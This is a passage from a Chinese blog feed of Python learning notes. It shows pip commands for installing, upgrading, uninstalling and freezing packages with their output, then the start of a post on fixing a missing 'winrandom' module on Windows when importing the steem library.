</span></span><span class="line"><span class="cl"><span class="n">Requirement</span> <span class="n">already</span> <span class="n">satisfied</span><span class="p">:</span> <span class="n">idna</span><span class="o">&lt;</span><span class="mf">2.8</span><span class="p">,</span><span class="o">&gt;=</span><span class="mf">2.5</span> <span class="ow">in</span> <span class="n">i</span><span class="p">:</span>\<span class="n">python</span><span class="o">~</span><span class="mi">1</span>\<span class="n">lib</span>\<span class="n">site</span><span class="o">-</span><span class="n">packages</span> <span class="p">(</span><span class="n">from</span> <span class="n">requests</span><span class="p">)</span> <span class="p">(</span><span class="mf">2.5</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">Requirement</span> <span class="n">already</span> <span class="n">satisfied</span><span class="p">:</span> <span class="n">chardet</span><span class="o">&lt;</span><span class="mf">3.1</span><span class="o">.</span><span class="mi">0</span><span class="p">,</span><span class="o">&gt;=</span><span class="mf">3.0</span><span class="o">.</span><span class="mi">2</span> <span class="ow">in</span> <span class="n">i</span><span class="p">:</span>\<span class="n">python</span><span class="o">~</span><span class="mi">1</span>\<span class="n">lib</span>\<span class="n">site</span><span class="o">-</span><span class="n">packages</span> <span class="p">(</span><span class="n">from</span> <span class="n">requests</span><span class="p">)</span> <span class="p">(</span><span class="mf">3.0</span><span class="o">.</span><span class="mi">4</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">Installing</span> <span class="n">collected</span> <span class="n">packages</span><span class="p">:</span> <span class="n">requests</span>
</span></span><span class="line"><span class="cl"><span class="n">Successfully</span> <span class="n">installed</span> <span class="n">requests</span><span class="o">-</span><span class="mf">2.19</span><span class="o">.</span><span class="mi">1</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">wxpy</span> <span class="mf">0.3</span><span class="o">.</span><span class="mf">9.8</span> <span class="n">has</span> <span class="n">requirement</span> <span class="n">itchat</span><span class="o">==</span><span class="mf">1.2</span><span class="o">.</span><span class="mi">32</span><span class="p">,</span> <span class="n">but</span> <span class="n">you</span><span class="s1">&#39;ll have itchat 1.3.10 which is incompatible.</span>
</span></span><span class="line"><span class="cl"><span class="n">pyspider</span> <span class="mf">0.3</span><span class="o">.</span><span class="mi">10</span> <span class="n">has</span> <span class="n">requirement</span> <span class="n">tornado</span><span class="o">&lt;=</span><span class="mf">4.5</span><span class="o">.</span><span class="mi">3</span><span class="p">,</span><span class="o">&gt;=</span><span class="mf">3.2</span><span class="p">,</span> <span class="n">but</span> <span class="n">you</span><span class="s1">&#39;ll have tornado 5.0.2 which is incompatible.</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 升级</span>
</span></span><span class="line"><span class="cl"><span class="err">!</span><span class="n">pip</span> <span class="n">install</span> <span class="o">--</span><span class="n">upgrade</span> <span class="n">requests</span> 
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">Collecting requests
</span></span><span class="line"><span class="cl">  Using cached https://files.pythonhosted.org/packages/65/47/7e02164a2a3db50ed6d8a6ab1d6d60b69c4c3fdf57a284257925dfc12bda/requests-2.19.1-py2.py3-none-any.whl
</span></span><span class="line"><span class="cl">Requirement already satisfied, skipping upgrade: chardet&lt;3.1.0,&gt;=3.0.2 in i:\python~1\lib\site-packages (from requests) (3.0.4)
</span></span><span class="line"><span class="cl">Requirement already satisfied, skipping upgrade: certifi&gt;=2017.4.17 in i:\python~1\lib\site-packages (from requests) (2018.4.16)
</span></span><span class="line"><span class="cl">Requirement already satisfied, skipping upgrade: idna&lt;2.8,&gt;=2.5 in i:\python~1\lib\site-packages (from requests) (2.5)
</span></span><span class="line"><span class="cl">Requirement already satisfied, skipping upgrade: urllib3&lt;1.24,&gt;=1.21.1 in i:\python~1\lib\site-packages (from requests) (1.21.1)
</span></span><span class="line"><span class="cl">Installing collected packages: requests
</span></span><span class="line"><span class="cl">  Found existing installation: requests 2.17.1
</span></span><span class="line"><span class="cl">    Uninstalling requests-2.17.1:
</span></span><span class="line"><span class="cl">      Successfully uninstalled requests-2.17.1
</span></span><span class="line"><span class="cl">Successfully installed requests-2.19.1
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">wxpy 0.3.9.8 has requirement itchat==1.2.32, but you&#39;ll have itchat 1.3.10 which is incompatible.
</span></span><span class="line"><span class="cl">pyspider 0.3.10 has requirement tornado&lt;=4.5.3,&gt;=3.2, but you&#39;ll have tornado 5.0.2 which is incompatible.
</span></span></code></pre></td></tr></table>
</div>
</div><ul>
<li>用pip卸载Python包</li>
</ul>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="err">!</span><span class="n">pip</span> <span class="n">uninstall</span> <span class="n">requests</span> <span class="o">-</span><span class="n">y</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">Uninstalling requests-2.19.1:
</span></span><span class="line"><span class="cl">  Successfully uninstalled requests-2.19.1
</span></span></code></pre></td></tr></table>
</div>
</div><ul>
<li>查看哪些包可升级</li>
</ul>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="err">!</span><span class="n">pip</span> <span class="nb">list</span> <span class="o">--</span><span class="n">outdated</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">Package               Version   Latest    Type 
</span></span><span class="line"><span class="cl">--------------------- --------- --------- -----
</span></span><span class="line"><span class="cl">aiohttp               3.2.1     3.3.2     wheel
</span></span><span class="line"><span class="cl">astroid               1.6.4     2.0.4     wheel
</span></span><span class="line"><span class="cl">Automat               0.6.0     0.7.0     wheel
</span></span><span class="line"><span class="cl">beautifulsoup4        4.6.0     4.6.3     wheel
</span></span><span class="line"><span class="cl">bitarray              0.8.1     0.8.3     sdist
</span></span><span class="line"><span class="cl">certifi               2018.4.16 2018.8.13 wheel
</span></span><span class="line"><span class="cl">...
</span></span><span class="line"><span class="cl">twisted               17.9.0    18.7.0    sdist
</span></span><span class="line"><span class="cl">urllib3               1.21.1    1.23      wheel
</span></span><span class="line"><span class="cl">WeRoBot               1.4.1     1.6.0     wheel
</span></span><span class="line"><span class="cl">widgetsnbextension    3.2.1     3.4.0     wheel
</span></span><span class="line"><span class="cl">WsgiDAV               2.3.0     2.4.1     wheel
</span></span><span class="line"><span class="cl">wxPython              4.0.1     4.0.3     wheel
</span></span><span class="line"><span class="cl">yarl                  1.2.4     1.2.6     wheel
</span></span></code></pre></td></tr></table>
</div>
</div><ul>
<li>查看包的安装信息</li>
</ul>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"> <span class="err">!</span><span class="n">pip</span> <span class="n">show</span> <span class="o">--</span><span class="n">files</span> <span class="n">requests</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-gdscript3" data-lang="gdscript3"><span class="line"><span class="cl"><span class="n">Name</span><span class="p">:</span> <span class="n">requests</span>
</span></span><span class="line"><span class="cl"><span class="n">Version</span><span class="p">:</span> <span class="mf">2.19</span><span class="o">.</span><span class="mi">1</span>
</span></span><span class="line"><span class="cl"><span class="n">Summary</span><span class="p">:</span> <span class="n">Python</span> <span class="n">HTTP</span> <span class="k">for</span> <span class="n">Humans</span><span class="o">.</span>
</span></span><span class="line"><span class="cl"><span class="n">Home</span><span class="o">-</span><span class="n">page</span><span class="p">:</span> <span class="n">http</span><span class="p">:</span><span class="o">//</span><span class="n">python</span><span class="o">-</span><span class="n">requests</span><span class="o">.</span><span class="n">org</span>
</span></span><span class="line"><span class="cl"><span class="n">Author</span><span class="p">:</span> <span class="n">Kenneth</span> <span class="n">Reitz</span>
</span></span><span class="line"><span class="cl"><span class="n">Author</span><span class="o">-</span><span class="n">email</span><span class="p">:</span> <span class="n">me</span><span class="err">@</span><span class="n">kennethreitz</span><span class="o">.</span><span class="n">org</span>
</span></span><span class="line"><span class="cl"><span class="n">License</span><span class="p">:</span> <span class="n">Apache</span> <span class="mf">2.0</span>
</span></span><span class="line"><span class="cl"><span class="n">Location</span><span class="p">:</span> <span class="n">i</span><span class="p">:</span>\<span class="n">python</span><span class="o">~</span><span class="mi">1</span>\<span class="n">lib</span>\<span class="n">site</span><span class="o">-</span><span class="n">packages</span>
</span></span><span class="line"><span class="cl"><span class="n">Requires</span><span class="p">:</span> <span class="n">idna</span><span class="p">,</span> <span class="n">urllib3</span><span class="p">,</span> <span class="n">chardet</span><span class="p">,</span> <span class="n">certifi</span>
</span></span><span class="line"><span class="cl"><span class="n">Required</span><span class="o">-</span><span class="n">by</span><span class="p">:</span> <span class="n">yarg</span><span class="p">,</span> <span class="n">wxpy</span><span class="p">,</span> <span class="n">WeRoBot</span><span class="p">,</span> <span class="n">requests</span><span class="o">-</span><span class="n">download</span><span class="p">,</span> <span class="n">pyspider</span><span class="p">,</span> <span class="n">pynsist</span><span class="p">,</span> <span class="n">itchat</span><span class="p">,</span> <span class="n">httpie</span>
</span></span><span class="line"><span class="cl"><span class="n">Files</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">  <span class="n">requests</span><span class="o">-</span><span class="mf">2.19</span><span class="o">.</span><span class="mf">1.</span><span class="n">dist</span><span class="o">-</span><span class="n">info</span>\<span class="n">DESCRIPTION</span><span class="o">.</span><span class="n">rst</span>
</span></span><span class="line"><span class="cl">  <span class="n">requests</span><span class="o">-</span><span class="mf">2.19</span><span class="o">.</span><span class="mf">1.</span><span class="n">dist</span><span class="o">-</span><span class="n">info</span>\<span class="n">INSTALLER</span>
</span></span><span class="line"><span class="cl">  <span class="n">requests</span><span class="o">-</span><span class="mf">2.19</span><span class="o">.</span><span class="mf">1.</span><span class="n">dist</span><span class="o">-</span><span class="n">info</span>\<span class="n">LICENSE</span><span class="o">.</span><span class="n">txt</span>
</span></span><span class="line"><span class="cl">  <span class="o">...</span>
</span></span><span class="line"><span class="cl">  <span class="n">requests</span>\<span class="n">status_codes</span><span class="o">.</span><span class="n">py</span>
</span></span><span class="line"><span class="cl">  <span class="n">requests</span>\<span class="n">structures</span><span class="o">.</span><span class="n">py</span>
</span></span><span class="line"><span class="cl">  <span class="n">requests</span>\<span class="n">utils</span><span class="o">.</span><span class="n">py</span>
</span></span></code></pre></td></tr></table>
</div>
</div><ul>
<li>导出包的安装信息到指定文件</li>
</ul>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="err">!</span><span class="n">pip</span> <span class="n">freeze</span> <span class="o">&gt;</span> <span class="n">requirements</span><span class="o">.</span><span class="n">txt</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="o">%</span><span class="n">pycat</span> <span class="n">requirements</span><span class="o">.</span><span class="n">txt</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">aiohttp==3.2.1
</span></span><span class="line"><span class="cl">appdirs==1.4.3
</span></span><span class="line"><span class="cl">asn1crypto==0.24.0
</span></span><span class="line"><span class="cl">astroid==1.6.4
</span></span><span class="line"><span class="cl">async-timeout==3.0.0
</span></span><span class="line"><span class="cl">...
</span></span><span class="line"><span class="cl">windrose==1.6.3
</span></span><span class="line"><span class="cl">wrapt==1.10.11
</span></span><span class="line"><span class="cl">WsgiDAV==2.3.0
</span></span><span class="line"><span class="cl">wxpy==0.3.9.8
</span></span><span class="line"><span class="cl">wxPython==4.0.1
</span></span><span class="line"><span class="cl">xmltodict==0.11.0
</span></span><span class="line"><span class="cl">yapf==0.22.0
</span></span><span class="line"><span class="cl">yarg==0.1.9
</span></span><span class="line"><span class="cl">yarl==1.2.4
</span></span><span class="line"><span class="cl">zope.interface==4.5.0
</span></span></code></pre></td></tr></table>
</div>
</div><ul>
<li>从指定文件安装指定的包</li>
</ul>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="err">!</span><span class="n">pip</span> <span class="n">install</span> <span class="o">-</span><span class="n">r</span> <span class="n">requirements</span><span class="o">.</span><span class="n">txt</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">Requirement already satisfied: aiohttp==3.2.1 in i:\python~1\lib\site-packages (from -r requirements.txt (line 1)) (3.2.1)
</span></span><span class="line"><span class="cl">Requirement already satisfied: appdirs==1.4.3 in i:\python~1\lib\site-packages (from -r requirements.txt (line 2)) (1.4.3)
</span></span><span class="line"><span class="cl">Requirement already satisfied: asn1crypto==0.24.0 in i:\python~1\lib\site-packages (from -r requirements.txt (line 3)) (0.24.0)
</span></span><span class="line"><span class="cl">Requirement already satisfied: astroid==1.6.4 in d:\users\tracis\appdata\roaming\python\python36\site-packages (from -r requirements.txt (line 4)) (1.6.4)
</span></span><span class="line"><span class="cl">Requirement already satisfied: async-timeout==3.0.0 in i:\python~1\lib\site-packages (from -r requirements.txt (line 5)) (3.0.0)
</span></span><span class="line"><span class="cl">...
</span></span><span class="line"><span class="cl">Requirement already satisfied: pip&gt;=9.0.1 in i:\python~1\lib\site-packages (from pipenv==2018.7.1-&gt;-r requirements.txt (line 91)) (18.0)
</span></span></code></pre></td></tr></table>
</div>
</div><hr>
<h2 id="da-series---learn-python-with-steem">[DA series - Learn Python with Steem]</h2>
<ul>
<li><a href="https://busy.org/@deanliu/da-series-learn-python-with-steem-01-python">[DA series - Learn Python with Steem #01] 安裝Python、文字編輯器與哈囉！</a></li>
<li><a href="https://busy.org/@deanliu/da-series-learn-python-with-steem-02">[DA series - Learn Python with Steem #02] 變數與資料型態</a></li>
<li><a href="https://busy.org/@deanliu/da-series-learn-python-with-steem-03">[DA series - Learn Python with Steem #03] 邏輯判斷</a></li>
<li><a href="https://busy.org/@deanliu/da-series-learn-python-with-steem-04">[DA series - Learn Python with Steem #04] 迴圈</a></li>
<li><a href="https://busy.org/@yjcps/learnpythonwithsteem05-n09ajzsh91">[DA series – Learn Python with Steem #05] 基本資料結構</a></li>
<li><a href="https://busy.org/@deanliu/da-series-learn-python-with-steem-06">[DA series - Learn Python with Steem #06] 函式</a></li>
<li><a href="https://busy.org/@deanliu/da-series-learn-python-with-steem-07">[DA series - Learn Python with Steem #07] 類別</a></li>
<li><a href="https://busy.org/@deanliu/da-series-learn-python-with-steem-08-modules-steem">[DA series - Learn Python with Steem #08] 函式庫(Modules)的安裝與使用，準備好玩Steem！</a></li>
</ul>
<h2 id="我的笔记">我的笔记：</h2>
<ul>
<li><a href="https://busy.org/@yjcps/learn-python-with-steem-01">Learn Python with Steem #01 笔记</a></li>
<li><a href="https://busy.org/@yjcps/learnpythonwithsteem02-2ilwe1ti59">Learn Python with Steem #02 笔记</a></li>
<li><a href="https://busy.org/@yjcps/learnpythonwithsteem03-l5w15fszh9">Learn Python with Steem #03 笔记</a></li>
<li><a href="https://busy.org/@yjcps/learnpythonwithsteem04-0d8jly8ypt">Learn Python with Steem #04 笔记</a></li>
<li><a href="https://busy.org/@yjcps/learnpythonwithsteem05-n09ajzsh91">Learn Python with Steem #05 笔记</a></li>
<li><a href="https://busy.org/@yjcps/learnpythonwithsteem06-c0tgbg3puu">Learn Python with Steem #06 笔记</a></li>
<li><a href="https://busy.org/@yjcps/learnpythonwithsteem07-2tx2pvwskh">Learn Python with Steem #07 笔记</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>在Windows导入python-steem遇到的问题</title>
      <link>https://hacperme.com/posts/notes/2018-08-11-windows_import_python-steem_problem/</link>
      <pubDate>Sat, 11 Aug 2018 14:00:53 +0800</pubDate>
      <guid>https://hacperme.com/posts/notes/2018-08-11-windows_import_python-steem_problem/</guid>
      <description>我以为成功安装python-steem库就可以愉快地玩耍了，这个想法还是太单纯，谁知道在导入steem模块的时候又出现问题了：无法导入win</description>
      <content:encoded><![CDATA[<p>我以为成功安装python-steem库就可以愉快地玩耍了，这个想法还是太单纯，谁知道在导入steem模块的时候又出现问题了：无法导入winrandom模块。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">steem</span> <span class="kn">import</span> <span class="n">Steem</span>
</span></span><span class="line"><span class="cl"><span class="n">s</span> <span class="o">=</span> <span class="n">Steem</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="n">balance</span> <span class="o">=</span> <span class="n">s</span><span class="o">.</span><span class="n">get_account</span><span class="p">(</span><span class="s1">&#39;yjcps&#39;</span><span class="p">)[</span><span class="s1">&#39;sbd_balance&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">balance</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">i:\python364\lib\site-packages\Crypto\Random\OSRNG\nt.py in &lt;module&gt;()
</span></span><span class="line"><span class="cl">     26 __all__ = [&#39;WindowsRNG&#39;]
</span></span><span class="line"><span class="cl">     27 
</span></span><span class="line"><span class="cl">---&gt; 28 import winrandom
</span></span><span class="line"><span class="cl">     29 from .rng_base import BaseRNG
</span></span><span class="line"><span class="cl">     30 
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">ModuleNotFoundError: No module named &#39;winrandom&#39;
</span></span></code></pre></td></tr></table>
</div>
</div><p>很自然地想到winrandom这个模块是不是没安装啊？拿出pip安装winrandom试试。</p>
<blockquote>
<p>python -m pip install winrandom</p>
</blockquote>
<p>在编译winrandom时又有新问题：ValueError: Unknown MS Compiler version 1900</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-gdscript3" data-lang="gdscript3"><span class="line"><span class="cl"> <span class="o">----------------------------------------</span>
</span></span><span class="line"><span class="cl">  <span class="n">Failed</span> <span class="n">building</span> <span class="n">wheel</span> <span class="k">for</span> <span class="n">winrandom</span>
</span></span><span class="line"><span class="cl">  <span class="n">Running</span> <span class="n">setup</span><span class="o">.</span><span class="n">py</span> <span class="n">clean</span> <span class="k">for</span> <span class="n">winrandom</span>
</span></span><span class="line"><span class="cl"><span class="n">Failed</span> <span class="n">to</span> <span class="n">build</span> <span class="n">winrandom</span>
</span></span><span class="line"><span class="cl"><span class="n">Installing</span> <span class="n">collected</span> <span class="n">packages</span><span class="p">:</span> <span class="n">winrandom</span>
</span></span><span class="line"><span class="cl">  <span class="n">Running</span> <span class="n">setup</span><span class="o">.</span><span class="n">py</span> <span class="n">install</span> <span class="k">for</span> <span class="n">winrandom</span> <span class="o">...</span> <span class="n">error</span>
</span></span><span class="line"><span class="cl">    <span class="n">Complete</span> <span class="n">output</span> <span class="n">from</span> <span class="n">command</span> <span class="n">I</span><span class="p">:</span>\<span class="n">PYTHON</span><span class="o">~</span><span class="mi">1</span>\<span class="n">python</span><span class="o">.</span><span class="n">exe</span> <span class="o">-</span><span class="n">u</span> <span class="o">-</span><span class="n">c</span> <span class="s2">&#34;import setuptools, tokenize;__file__=&#39;K:</span><span class="se">\\</span><span class="s2">temp</span><span class="se">\\</span><span class="s2">pip-install-f7pz4ekx</span><span class="se">\\</span><span class="s2">winrandom</span><span class="se">\\</span><span class="s2">setup.py&#39;;f=getattr(tokenize, &#39;open&#39;, open)(__file__);code=f.read().replace(&#39;</span><span class="se">\r\n</span><span class="s2">&#39;, &#39;</span><span class="se">\n</span><span class="s2">&#39;);f.close();exec(compile(code, __file__, &#39;exec&#39;))&#34;</span> <span class="n">install</span> <span class="o">--</span><span class="n">record</span> <span class="n">K</span><span class="p">:</span>\<span class="n">temp</span>\<span class="n">pip</span><span class="o">-</span><span class="n">record</span><span class="o">-</span><span class="n">xtfsjesk</span>\<span class="n">install</span><span class="o">-</span><span class="n">record</span><span class="o">.</span><span class="n">txt</span> <span class="o">--</span><span class="n">single</span><span class="o">-</span><span class="n">version</span><span class="o">-</span><span class="n">externally</span><span class="o">-</span><span class="n">managed</span> <span class="o">--</span><span class="n">compile</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">running</span> <span class="n">install</span>
</span></span><span class="line"><span class="cl">    <span class="n">running</span> <span class="n">build</span>
</span></span><span class="line"><span class="cl">    <span class="n">running</span> <span class="n">build_ext</span>
</span></span><span class="line"><span class="cl">    <span class="n">Traceback</span> <span class="p">(</span><span class="n">most</span> <span class="n">recent</span> <span class="n">call</span> <span class="n">last</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">      <span class="ne">File</span> <span class="s2">&#34;&lt;string&gt;&#34;</span><span class="p">,</span> <span class="n">line</span> <span class="mi">1</span><span class="p">,</span> <span class="ow">in</span> <span class="o">&lt;</span><span class="n">module</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">      <span class="ne">File</span> <span class="s2">&#34;K:</span><span class="se">\t</span><span class="s2">emp\pip-install-f7pz4ekx\winrandom\setup.py&#34;</span><span class="p">,</span> <span class="n">line</span> <span class="mi">43</span><span class="p">,</span> <span class="ow">in</span> <span class="o">&lt;</span><span class="n">module</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">        <span class="n">ext_modules</span><span class="o">=</span><span class="p">[</span><span class="n">winrandom1</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">     <span class="o">...</span>
</span></span><span class="line"><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">dll_libraries</span> <span class="o">=</span> <span class="n">get_msvcr</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">      <span class="ne">File</span> <span class="s2">&#34;I:\PYTHON~1\lib\distutils\cygwinccompiler.py&#34;</span><span class="p">,</span> <span class="n">line</span> <span class="mi">95</span><span class="p">,</span> <span class="ow">in</span> <span class="n">get_msvcr</span>
</span></span><span class="line"><span class="cl">        <span class="n">raise</span> <span class="n">ValueError</span><span class="p">(</span><span class="s2">&#34;Unknown MS Compiler version </span><span class="si">%s</span><span class="s2"> &#34;</span> <span class="o">%</span> <span class="n">msc_ver</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">ValueError</span><span class="p">:</span> <span class="n">Unknown</span> <span class="n">MS</span> <span class="n">Compiler</span> <span class="n">version</span> <span class="mi">1900</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="o">----------------------------------------</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>网上查到解决办法，修改I:\PYTHON~1\lib\distutils\cygwinccompiler.py文件，打补丁。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">get_msvcr</span><span class="p">():</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;Include the appropriate MSVC runtime library if Python was built
</span></span></span><span class="line"><span class="cl"><span class="s2">    with MSVC 7.0 or later.
</span></span></span><span class="line"><span class="cl"><span class="s2">    &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">msc_pos</span> <span class="o">=</span> <span class="n">sys</span><span class="o">.</span><span class="n">version</span><span class="o">.</span><span class="n">find</span><span class="p">(</span><span class="s1">&#39;MSC v.&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">msc_pos</span> <span class="o">!=</span> <span class="o">-</span><span class="mi">1</span><span class="p">:</span>
